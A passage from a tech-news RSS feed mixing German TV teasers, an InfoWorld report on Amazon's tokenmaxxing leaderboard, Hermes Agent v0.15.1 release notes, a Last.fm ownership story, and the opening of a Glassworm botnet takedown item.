<description><![CDATA["Let’s Dance"-Finale 2026 im Live-Ticker: Wer wird "Dancing Star"? Joel Mattli, Milano oder Anna-Carina Woitschack? Alle Tänze, Jury-Urteile & die Entscheidung!
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	RTL+,																	Entertainment,	...]]></description>
<link>https://tsecurity.de/de/3557344/it-nachrichten/let039s-dance-2026-das-grosse-finale-in-unserem-live-ticker-wer-wird-dancing-star/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557344/it-nachrichten/let039s-dance-2026-das-grosse-finale-in-unserem-live-ticker-wer-wird-dancing-star/</guid>
<pubDate>Fri, 29 May 2026 21:03:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Let’s Dance"-Finale 2026 im Live-Ticker: Wer wird "Dancing Star"? Joel Mattli, Milano oder Anna-Carina Woitschack? Alle Tänze, Jury-Urteile &amp; die Entscheidung!
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-neu-shows-serien-filme/index.html">Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon deletes devs’ tokenmaxxing leaderboard to minimize costs]]></title>
<description><![CDATA[Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.



Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked wo...]]></description>
<link>https://tsecurity.de/de/3557227/it-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557227/it-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</guid>
<pubDate>Fri, 29 May 2026 18:32:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.</p>



<p>Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked workers according to their AI activity, but senior managers at Amazon found that employees were creating AI agents to carry out unnecessary tasks in an attempt to boost their scores, a practise known as tokenmaxxing, according to <a href="https://www.ft.com/content/b1a62a7f-6df5-4c90-94ce-64ce9c9961b6?syn-25a6b1a6=1" target="_blank" rel="nofollow">a report in the Financial Times</a>. The tracker has now been taken offline.</p>



<p>Kirorank</p>



<p>The FT quoted an Amazon senior VP as saying that the leaderboard had been built “with good intentions” but the compute costs it generated were too high.</p>



<p>Amazon is not the only company to find that attempts to boost AI use can have negative implications. In April, <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">Meta killed an unofficial ranking system called Claudeoconomics</a>, which had also led to a frenzy of tokenmaxxing.</p>



<p>Token usage is easy to measure; the business benefits of that usage less so. AI vendors are looking for better ways to measure the value of their services, so far with little success. <a href="https://www.cio.com/article/4138622/awu-by-salesforce-a-shiny-new-metric-that-tells-cios-little-of-value.html">Salesforce’s attempt to develop a new metric</a> was not well received.</p>



<p>Enterprises now find themselves facing a delicate balancing act, as they look to encourage AI use without racking up considerable computing costs. In March, <a href="https://www.computerworld.com/article/4148219/pwc-us-tells-staff-to-opt-out-of-company-not-ai.html" target="_blank">PwC’s US CEO Paul Griggs</a> told executives that those who did not use AI would not be at the company for very long. Use AI — but not too much, appears to be the message.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4178824/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Humanoid Robots Dance, Wiggle, and Thread Needles in Tokyo]]></title>
<description><![CDATA[Chinese humanoid robot makers drew attention in Tokyo as Japan emphasized precision, durability, and real-world robotics testbeds.]]></description>
<link>https://tsecurity.de/de/3557089/it-nachrichten/chinas-humanoid-robots-dance-wiggle-and-thread-needles-in-tokyo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557089/it-nachrichten/chinas-humanoid-robots-dance-wiggle-and-thread-needles-in-tokyo/</guid>
<pubDate>Fri, 29 May 2026 16:32:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chinese humanoid robot makers drew attention in Tokyo as Japan emphasized precision, durability, and real-world robotics testbeds.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.15.1 (2026.5.29) — The Patch Release]]></title>
<description><![CDATA[Hermes Agent v0.15.1 (v2026.5.29)
Release Date: May 29, 2026
Since v0.15.0: 28 commits · 21 merged PRs · hotfix release · 9 contributors

The Patch Release. A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, ho...]]></description>
<link>https://tsecurity.de/de/3555841/downloads/hermes-agent-v0151-2026529-the-patch-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555841/downloads/hermes-agent-v0151-2026529-the-patch-release/</guid>
<pubDate>Fri, 29 May 2026 03:16:12 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.15.1 (v2026.5.29)</h1>
<p><strong>Release Date:</strong> May 29, 2026<br>
<strong>Since v0.15.0:</strong> 28 commits · 21 merged PRs · hotfix release · 9 contributors</p>
<blockquote>
<p><strong>The Patch Release.</strong> A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, hosted Hermes, fresh installs). A handful of other v0.15.0 follow-ups go along for the ride — kanban worker SIGTERM, <code>/model</code> picker unification, <code>/yolo</code> session bypass, the full 19,932-entry skills.sh catalog, <code>.md</code> media delivery restoration, gateway probe-stepdown safety, web-URL redaction passthrough, kanban worker vision on referenced images, hindsight observation-default. Docker users get an explicit <code>--insecure</code> opt-in env var (no more bind-host inference), MCP server bare-command PATH resolution, and arm64 PR-build cache fixes.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Dashboard 401 reload loop fixed</strong> — In loopback mode the dashboard's identity probe (<code>/api/auth/me</code>) returns 401 by design, but v0.15.0's stale-token reload guard treated every 401 as a rotated session token and full-page-reloaded to pick up a fresh one. Every successful sibling call cleared the one-shot reload guard, so the page reload-looped forever (Firefox: "Navigated to /sessions" storm; Chrome: React re-render storm). Fix adds an <code>allowUnauthorized</code> opt-out to <code>fetchJSON</code> that skips only the loopback stale-token reload — 401 still throws so <code>AuthWidget</code> swallows it, gated-mode <code>login_url</code> redirects are unaffected. Closes <a href="https://github.com/NousResearch/hermes-agent/issues/34206" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34206/hovercard">#34206</a>, <a href="https://github.com/NousResearch/hermes-agent/issues/34202" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34202/hovercard">#34202</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30698/hovercard">#30698</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</p>
</li>
<li>
<p><strong>Docker dashboard <code>--insecure</code> is now an explicit env opt-in, never derived from bind host</strong> — Previously the Docker entrypoint inferred <code>--insecure</code> when the dashboard bound to a non-loopback host. That conflated "I want LAN access" with "I want to disable the same-origin guard." The fix splits them: bind host is bind host, and disabling the dashboard's loopback auth requires an explicit <code>HERMES_DASHBOARD_INSECURE=1</code>. Existing setups that genuinely wanted insecure binding must now set the env var. (<a href="https://github.com/NousResearch/hermes-agent/pull/34188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34188/hovercard">#34188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34204/hovercard">#34204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>MCP bare command resolution under Docker</strong> — MCP servers configured with bare commands (<code>npx</code>, <code>npm</code>, <code>node</code>) now resolve against <code>/usr/local/bin</code> so they actually launch inside the Docker image where those binaries live. v0.15.0 left these failing silently in containers when the agent's effective PATH didn't include the Node toolchain location. (<a href="https://github.com/NousResearch/hermes-agent/pull/34186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34186/hovercard">#34186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Skills page sidebar / source pills restored</strong> — A stale <code>useMemo</code> dependency in the new dashboard skills page collapsed the source pills and category sidebar to "All" only. Fixed; both surfaces now reflect the live catalog state. (<a href="https://github.com/NousResearch/hermes-agent/pull/34194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34194/hovercard">#34194</a>)</p>
</li>
<li>
<p><strong>Kanban worker can be killed again</strong> — <code>SIGTERM</code> on a kanban worker was being absorbed by an intermediate process and the worker stayed running. Closes <a href="https://github.com/NousResearch/hermes-agent/issues/28181" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/28181/hovercard">#28181</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/34045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34045/hovercard">#34045</a>)</p>
</li>
<li>
<p><strong>Full skills.sh catalog (858 → 19,932 entries)</strong> — The skills hub page was pulling a partial paginated catalog. The fetch now walks the sitemap, so all 19,932 skills.sh entries surface in the picker instead of just the first 858. (<a href="https://github.com/NousResearch/hermes-agent/pull/34025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34025/hovercard">#34025</a>)</p>
</li>
</ul>
<hr>
<h2>🐛 Bug Fixes</h2>
<h3>Dashboard / Web</h3>
<ul>
<li><strong><code>/api/auth/me</code> 401 no longer triggers reload loop</strong> in loopback mode — (<a href="https://github.com/NousResearch/hermes-agent/pull/30698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30698/hovercard">#30698</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li><strong>Skills page source pills + category sidebar restored</strong> — stale <code>useMemo</code> dep (<a href="https://github.com/NousResearch/hermes-agent/pull/34194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34194/hovercard">#34194</a>)</li>
</ul>
<h3>Docker</h3>
<ul>
<li><strong><code>--insecure</code> is now explicit opt-in via env var</strong>, not derived from bind host (<a href="https://github.com/NousResearch/hermes-agent/pull/34188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34188/hovercard">#34188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Dashboard test suite repaired</strong> to match the insecure-opt-in fix (<a href="https://github.com/NousResearch/hermes-agent/pull/34204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34204/hovercard">#34204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>arm64 PR builds skip the GHA cache</strong> to avoid cache-thrash on cross-arch builders (<a href="https://github.com/NousResearch/hermes-agent/pull/33704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33704/hovercard">#33704</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong>Bare <code>npx</code>/<code>npm</code>/<code>node</code> resolve against <code>/usr/local/bin</code></strong> for Docker compatibility (<a href="https://github.com/NousResearch/hermes-agent/pull/34186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34186/hovercard">#34186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Kanban</h3>
<ul>
<li><strong>Worker SIGTERM actually terminates the process</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/34045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34045/hovercard">#34045</a>)</li>
<li><strong>Workers receive images referenced in task bodies</strong> for vision-capable models (<a href="https://github.com/NousResearch/hermes-agent/pull/34210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34210/hovercard">#34210</a>)</li>
</ul>
<h3>Gateway</h3>
<ul>
<li><strong><code>.md</code> files deliver again</strong> — media-delivery validation defaults to denylist-only instead of an overly-narrow allowlist (<a href="https://github.com/NousResearch/hermes-agent/pull/34022" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34022/hovercard">#34022</a>)</li>
<li><strong>Probe stepdown safety</strong> — on a context-overflow without an explicit provider context limit, the agent no longer steps down to a smaller model based on an unknown ceiling (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/33673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33673/hovercard">#33673</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33826" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33826/hovercard">#33826</a>)</li>
</ul>
<h3>CLI</h3>
<ul>
<li><strong><code>/yolo</code> mid-session enables the per-session bypass</strong> instead of just toggling the env var (which the running agent had already snapshotted) (<a href="https://github.com/NousResearch/hermes-agent/pull/33931" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33931/hovercard">#33931</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong><code>/model</code> and <code>hermes model</code> show the same list</strong>, plus disk cache for picker startup (<a href="https://github.com/NousResearch/hermes-agent/pull/33867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33867/hovercard">#33867</a>)</li>
</ul>
<h3>Skills</h3>
<ul>
<li><strong>Full skills.sh catalog via sitemap</strong> — 858 → 19,932 entries (<a href="https://github.com/NousResearch/hermes-agent/pull/34025" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34025/hovercard">#34025</a>)</li>
</ul>
<h3>Redaction</h3>
<ul>
<li><strong>Web URLs pass through unchanged</strong> — the redactor was eating query parameters that looked credential-shaped (<a href="https://github.com/NousResearch/hermes-agent/pull/34029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34029/hovercard">#34029</a>)</li>
</ul>
<hr>
<h2>✨ Small Features</h2>
<ul>
<li><strong>Hindsight default narrowed to observation-only</strong> for <code>recall_types</code> — tool path is also narrowed (<a href="https://github.com/NousResearch/hermes-agent/pull/34079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34079/hovercard">#34079</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, follow-up <a href="https://github.com/NousResearch/hermes-agent/pull/4df62d239e38bf8c212a595721c9c01e176f6c3a">#34091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>Memory providers receive completed-turn message context</strong> — salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/28065" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28065/hovercard">#28065</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/34097" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34097/hovercard">#34097</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, credit to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devwdave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devwdave">@devwdave</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
<li><strong><code>--no-supervise</code> / <code>HERMES_GATEWAY_NO_SUPERVISE</code> documented</strong> in the reference docs (follow-up to <a href="https://github.com/NousResearch/hermes-agent/pull/33583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33583/hovercard">#33583</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33751/hovercard">#33751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>)</li>
</ul>
<hr>
<h2>🛠️ Infrastructure</h2>
<ul>
<li><strong>Vercel deploy workflow accepts <code>workflow_dispatch</code></strong> so docs deploys can be manually triggered (<a href="https://github.com/NousResearch/hermes-agent/pull/34081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34081/hovercard">#34081</a>)</li>
<li><strong><code>@nous-research/ui</code> bumped to 0.18.2</strong> (Nix <code>npmDepsHash</code> also updated to match) (<a href="https://github.com/NousResearch/hermes-agent/pull/34193" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34193/hovercard">#34193</a> follow-ups — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
</ul>
<hr>
<h2>👥 Contributors</h2>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></li>
</ul>
<h3>Community</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — dashboard 401 reload-loop fix (the headline), <code>@nous-research/ui</code> bump, Nix <code>npmDepsHash</code> updates</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — Docker <code>--insecure</code> opt-in, MCP bare-command resolution, dashboard test repair</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — <code>/yolo</code> session bypass, completed-turn memory context salvage, hindsight follow-up docs</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a> — hindsight <code>recall_types</code> observation default</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a> — arm64 PR build cache fix</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a> — <code>--no-supervise</code> reference docs</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yangguangjin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yangguangjin">@yangguangjin</a> — probe stepdown safety (salvage of <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yanghd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yanghd">@yanghd</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537895927" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/33673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33673/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/33673">#33673</a>)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devwdave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devwdave">@devwdave</a> — completed-turn memory context (credited via salvage)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhosf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhosf">@andrewhosf</a> — co-author</li>
</ul>
<h3>Issue Reporters (the 401 loop)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/routesmith/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/routesmith">@routesmith</a> (<a href="https://github.com/NousResearch/hermes-agent/issues/34206" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34206/hovercard">#34206</a>)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beeaton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beeaton">@beeaton</a> (<a href="https://github.com/NousResearch/hermes-agent/issues/34202" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34202/hovercard">#34202</a>)</li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.28...v2026.5.29">v2026.5.28...v2026.5.29</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; 2026: Dieser Star sollte das Finale gewinnen - Diese 3 Gründe sprechen klar dafür]]></title>
<description><![CDATA[Während andere wackelten, lieferte sie Woche für Woche ab. Genau deshalb könnte der "Dancing Star"-Titel schon vergeben sein.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,																	RTL+,																	Entertainment...]]></description>
<link>https://tsecurity.de/de/3554076/it-nachrichten/quotlets-dancequot-2026-dieser-star-sollte-das-finale-gewinnen-diese-3-gruende-sprechen-klar-dafuer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3554076/it-nachrichten/quotlets-dancequot-2026-dieser-star-sollte-das-finale-gewinnen-diese-3-gruende-sprechen-klar-dafuer/</guid>
<pubDate>Thu, 28 May 2026 14:17:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Während andere wackelten, lieferte sie Woche für Woche ab. Genau deshalb könnte der "Dancing Star"-Titel schon vergeben sein.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Last.fm Goes Independent After Breaking Up With Paramount Skydance]]></title>
<description><![CDATA[Last.fm announced that it is independent again after separating from Paramount Skydance, nearly two decades after CBS acquired the music-tracking service in 2007. The company says accounts, scrobbles, privacy settings, Pro subscriptions, and billing information will remain intact. Additional deta...]]></description>
<link>https://tsecurity.de/de/3553852/it-security-nachrichten/lastfm-goes-independent-after-breaking-up-with-paramount-skydance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3553852/it-security-nachrichten/lastfm-goes-independent-after-breaking-up-with-paramount-skydance/</guid>
<pubDate>Thu, 28 May 2026 13:05:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last.fm announced that it is independent again after separating from Paramount Skydance, nearly two decades after CBS acquired the music-tracking service in 2007. The company says accounts, scrobbles, privacy settings, Pro subscriptions, and billing information will remain intact. Additional details are forthcoming. Engadget reports: "Today, Last.fm begins a new chapter as an independent company," the announcement reads. "Ownership has changed, but the product you use every day has not." It also said that it will keep its current team. Last.fm is a music website that can track what you listen to across platforms, apps and streaming services, including Spotify, YouTube and Apple Music.Â
 
[...] Last.fm started as an internet radio station in 2002, and it didn't get scrobbling until a few years later when it merged with the original team that created the tracking process. It operated as an independent company until it was acquired by CBS Interactive, which is now part of the merged Paramount Skydance Corporation, for $280 million in 2007. In 2014, it killed off its $3-a-month subscription radio service to focus on tracking your listening habits on other providers. The company promised to share more about what you can expect from the transition in the coming weeks, but everything will work on Last.fm "exactly as it did yesterday" for now.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Last.fm+Goes+Independent+After+Breaking+Up+With+Paramount+Skydance%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F05%2F28%2F0552205%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F05%2F28%2F0552205%2Flastfm-goes-independent-after-breaking-up-with-paramount-skydance%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/05/28/0552205/lastfm-goes-independent-after-breaking-up-with-paramount-skydance?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Art of Kernel Module Harmony]]></title>
<description><![CDATA[Every modern Linux system relies on a delicate runtime dance. The SUSE Linux Enterprise Server (SLES) kernel includes more than 2,000 loadable modules out of the box, with about 60 percent of them serving as hardware drivers. But what happens when you need to introduce a brand-new storage control...]]></description>
<link>https://tsecurity.de/de/3552548/unix-server/the-art-of-kernel-module-harmony/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3552548/unix-server/the-art-of-kernel-module-harmony/</guid>
<pubDate>Thu, 28 May 2026 00:30:54 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Every modern Linux system relies on a delicate runtime dance. The SUSE Linux Enterprise Server (SLES) kernel includes more than 2,000 loadable modules out of the box, with about 60 percent of them serving as hardware drivers. But what happens when you need to introduce a brand-new storage controller driver or swap out an existing […]</p>
<p>The post <a href="https://www.suse.com/c/the-art-of-kernel-module-harmony/">The Art of Kernel Module Harmony</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How cybersecurity firms took down Glassworm botnet in one shot]]></title>
<description><![CDATA[Glassworm infected developers through poisoned tools and packages until a coordinated takedown killed all four of its C2 channels at once. On May 26, 2026, at 14:00 UTC, CrowdStrike Counter Adversary Operations team, working with Google and the Shadowserver Foundation,…
Read more →
The post How c...]]></description>
